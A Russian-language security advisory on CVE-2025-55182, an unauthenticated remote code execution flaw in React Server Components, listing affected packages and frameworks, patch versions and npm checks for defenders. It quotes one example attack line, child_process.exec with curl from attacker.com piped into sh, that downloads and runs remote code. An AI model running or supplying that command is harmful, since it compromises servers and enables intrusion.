CVE-2025-55182: критический RCE в React Server Components
CVE-2025-55182 — критическая уязвимость (CVSS 10.0), затрагивающая React 19 и механизм React Server Components (RSC). Ошибка позволяет атакующему выполнить произвольный код на сервере, отправив злонамеренный сериализованный RSC-payload.
Уязвимость безусловная: не требует авторизации, дополнительных токенов или обходов CORS.
Техника
RSC — это механизм React, позволяющий выполнять часть логики на сервере, после чего результат сериализуется в собственный протокол и отправляется клиенту.
Уязвимость связана с тем, что серверная часть React:
десериализует входящие данные без строгой валидации,
принимает структуры, которые могут переопределять ссылки на серверные функции,
разрешает клиенту принудительно создать объект, вызывающий исполнение произвольного кода.
Иными словами:
клиент может отправить payload, который заставит сервер выполнить функцию, к которой клиент никогда не должен иметь доступа.
така выполняется без авторизации, если приложение использует RSC-эндпоинты, например:
/react
/rsc
/_next/server-actions
/.well-known/react
Достаточно отправить изменённый RSC-пакет, содержащий вредоносные сериализованные ссылки, чтобы добиться:
чтения файлов,
выполнения системных команд,
выполнения кода внутри серверных функций,
обхода любых ограничений маршрутизации.
Злоумышленник может вызвать произвольный код на целевом сервере:
child_process.exec("curl attacker.com/pwn | sh")
или подставить свой код в любую серверную функцию (например, getUser() или save()), что приводит к RCE.
Уязвимые пакеты:
react-server-dom-webpack 19.0.0 — 19.2.0
react-server-dom-parcel 19.0.0 — 19.2.0
react-server-dom-turbopack 19.0.0 — 19.2.0
Фреймворки:
Уязвимы любые фреймворки, использующие RSC:
Next.js 15.x, 16.x, часть 14.x-canary
Vite + RSC plugin
Parcel RSC
Turbopack RSC
Remix с RSC-адаптацией
React Router RSC
И даже приложения, созданные командой create-next-app, уязвимы без каких-либо изменений — RSC включён по умолчанию.
Способы защиты
1) Обновить React и пакеты RSC до патч-версий:
react 19.0.1 / 19.1.2 / 19.2.1
react-server-dom- 19.x.x с патчем*
2) Обновить фреймворки:
Next.js → версии с фиксами (15.1.x / 16.0.3+)
Плагины RSC для Vite/Parcel/Turbopack → последние релизы
React Router / Remix → версии с исправлениями
3) Пересобрать приложение после обновления.
4) Проверить lock-файлы:
rm -rf node_modules
rm package-lock.json или yarn.lock
npm install
5) Ограничить внешние RSC-эндпоинты, если возможно.
Как проверить, уязвимо ли приложение
Быстрая диагностика:
Выполнить:
npm ls react-server-dom-webpack
npm ls react-server-dom-turbopack
Если версия ниже патч-версии — приложение уязвимо.
Проверить, включены ли RSC-роуты (Next.js):
pages/
app/
server actions
Если приложение React использует любой серверный рендеринг + RSC — почти наверняка затронуто.